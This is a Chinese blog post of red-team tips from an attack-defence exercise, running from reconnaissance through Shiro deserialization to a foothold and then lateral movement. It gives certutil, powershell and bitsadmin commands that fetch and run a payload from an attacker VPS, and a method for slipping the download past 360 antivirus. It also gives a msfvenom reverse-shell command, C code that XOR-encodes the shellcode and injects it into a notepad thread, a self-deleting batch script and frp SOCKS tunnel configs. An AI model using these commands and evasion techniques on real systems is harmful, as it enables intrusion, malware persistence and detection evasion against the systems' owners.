记一次攻防演练tips | 攻防tips

2020-12-17 11:42:40 浏览数 (1)

现在我依稀记得大家在9月25日晚集体过年的场景,没想到的是:那tm只是开始 这一段时间一直在打攻防,重复、单调、无长进,希望早日脱离苦海吧

下面以攻防过程中的一段经历来展现一些有意思的tips


0x01 信息收集

关于信息收集,已经有方法论类的东西总结的很好了,我只说我喜欢的,以百度代替真实站点

fofa

  • domain="baidu.com"
  • host="baidu.com"
  • title="baidu"
  • title="百度"
  • title="百度一下,你就知道"
  • body="(京)-经营性-2017-0020"
  • body="京公网安备11000002000001号"
  • body="京ICP证030173号"
  • icon_hash="-1507567067"
  • cert="baidu.com"

组合起来就是:

  • (host="baidu.com" || domain="baidu.com" || title="baidu" || title="百度" || title="百度一下,你就知道" || body="(京)-经营性-2017-0020" || body="京公网安备11000002000001号" || body="京ICP证030173号" || icon_hash="-1507567067" || cert="baidu.com") && country="CN" && region!="HK" && region!="TW"

导出结果可以使用fofa客户端

子域名挖掘

  • OneforAll
  • subDomainsBrute
  • theHarvester

邮箱

  • Google
    • site:github.com @baidu.com
  • theHarvester
    • 挂代理

0x02 资产梳理

goby 内测版

  • 安装好插件
  • 勾选 upnp等协议的发现
  • 给定的全部端口

Nmap 辅助

  • -sV
  • -O
  • --script=banner,vuln,exploit,brute

0x03 摸点

  • 网络设备、安全设备的默认口令
  • Weblogic、Struts2 远程代码执行
  • tomcat 默认口令
  • shiro 反序列化

这次的目标就是从 shiro 默认key 反序列化开始的

默认key,使用 CommonsCollections10 测试是否出网

稳了呀!

0x04 getshell

下马,上线

代码语言:javascript复制
certutil -urlcache -split -f http://xx.xx.xx.xx/robots.txt C:Usersadmina.exe && C:Usersadmina.exe

在cs上等了很久也没有等到上线,到vps上一看,发现目标并没有发起下载请求,心中暗叫一声不好,估计有edr

tasklist 看一下

果然,有360,这个时候就需要考虑两件事了

  • 下载动作需要免杀
  • 木马需要免杀

360 是出了名的疯, 起个powershell,vbs没干啥就会拦截

但是,作为一个怀旧(啥也不会)的人,我还是打算把之前的方法试一试

  1. powershell
代码语言:javascript复制
powershell (new-object System.Net.WebClient).DownloadFile(' http://xx.xx.xx.xx/robots.txt','C:Usersadmina.exe');start-process 'C:Usersadmina.exe'
  1. bitsadmin
代码语言:javascript复制
bitsadmin /transfer n http://xx.xx.xx.xx/robots.txt C:Usersadmina.exe && C:Usersadmina.exe

还有很多,具体参照下面这篇文章

https://xz.aliyun.com/t/1649#toc-5

但是无一意外的被360干掉,没招了,只能自力更生了


接下来就是本文的重点了

powershell

正常的powershell下载文件确实会被干掉:

但是可以通过

代码语言:javascript复制
echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell -

来进行绕过:

但是要注意,如果目标目录为桌面或者system32,360仍然会产生提醒,但是文件仍然会下载下来,且可以正常执行:

certutil

如果目标机器较老,很可能不存在powershell,此时就需要使用一些老方法,即certutil

certutil绕过360的方式网上已经有了(记一次渗透测试后引发的小扩展),

这里再提一个certutil编码解码。

windows不像linux,自带base64编码解码,但是 certutil 可以

代码语言:javascript复制
certutil -encode x.exe x.txt

certutil -decode x.txt x.exe

通过编码指令将exe编码生成txt文件,然后通过 echo 写入,再调用 certutil 解码还原为PE文件

但是此时还有一个问题,就是echo无法一次性写入,需要换行,但是马编码后太长,所以不太方便。

暂时想到两个解决办法:

  • python脚本边读本地txt边echo到对方服务器
  • 写一个小程序,作用是在当前目录输出txt,再通过压缩的方式压缩程序大小,再通过certutil编码写入解码执行

木马免杀

解决了下载问题,接下来就是木马免杀,这次我就不再怀旧了,毕竟也没啥用,直接上部分干货吧

用c写木马,一般绕不过两个问题:

  • shellcode编码免杀
  • shellcode加载方式免杀

单纯使用metaslpoit生成shellcode:

代码语言:javascript复制
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.31.93 LPORT=1234 -f c > ~/Desktop/text.c

不管使用什么加载方式,如果只是单纯的加载这种shellcode,是一定会被杀毒软件查杀的,网上有人提出用msfvenom自带的编码器编码,我尝试了一下,仍然会被火绒kill,所以这里可以自己去编码:

代码语言:javascript复制
    int key = 0x1a;
    unsigned char shellcode[sizeof(buf)] = "";
    for (int i = 0; i < sizeof(buf) - 1; i  )
    {
        shellcode[i] = (buf[i] ^ key) - 0x4;
    }

就这样一个很简单的异或 减去一个随机字符,就可以绕过杀软对shellcode 的静态查杀,当然木马也需要进行相应的解码。

shellcode加载方式现在也有很多,传统的方法是开辟一块地址空间存放shellcode,并将EIP/RIP指向该地址。

我这里选择线程注入的方式来做到隐蔽和免杀。

使用

代码语言:javascript复制
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);

创建notepad进程,然后开辟一块Buffer,将 shellcode 写入 buffer,再使用

代码语言:javascript复制
GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)lpBuffer;

开辟一块线程并将 rip 指向buffer,就可执行对应的shellcode。通过此方法即可做到免杀,且进程为notepad,隐蔽性极强:

这里再提一个隐蔽的tips,就是自删除,我采用的方式是bat 自解压(自解压的详细操作在phishing中),这里附上bat脚本:

代码语言:javascript复制
@ECHO OFF
set a=y.exe                            rem 定义a为马的名称
set b="�%%a%"                rem 定义b为马的路径    
del /f /a /q %sfxcmd%        rem 删除自解压程序
del /f /a /q %b%                rem 删除马
del /f /a /q %0%                rem 删除bat自身

0x05 内网渗透

我对于攻防比赛中的内网渗透是及其反感的,迫于得分,所以不得不去做一些体力活,但是这种东西做的再多也没有意义

frp 设置socks5代理并进行端口映射

公网vps frps.ini

代码语言:javascript复制
[common]
bind_addr =0.0.0.0
bind_port =7000
token = 9iathybNR7KL7EHd

目标主机 frpc.ini

代码语言:javascript复制
[common]
server_addr =VPS_IP
server_port =7000
token = 9iathybNR7KL7EHd

[socks_proxy]
type = tcp
remote_port =8010
plugin = socks5

开启socks并映射端口

代码语言:javascript复制
frpc.exe -c frpc.ini

永恒之蓝扫描

https://www.maritimecybersecurity.center/exploiting-windows-with-eternalblue-and-doublepulsar-with-metasploit/

mimikatz 抓明文密码&用密码撞库

这里附上之前的文章

弱口令

域控

  • ms14-068
  • Netlogon 特权提升漏洞(CVE-2020-1472)

就写到这吧,剩下的垃圾套路丢不起那人,大家把重点放在绕360下载和木马免杀就好


0 人点赞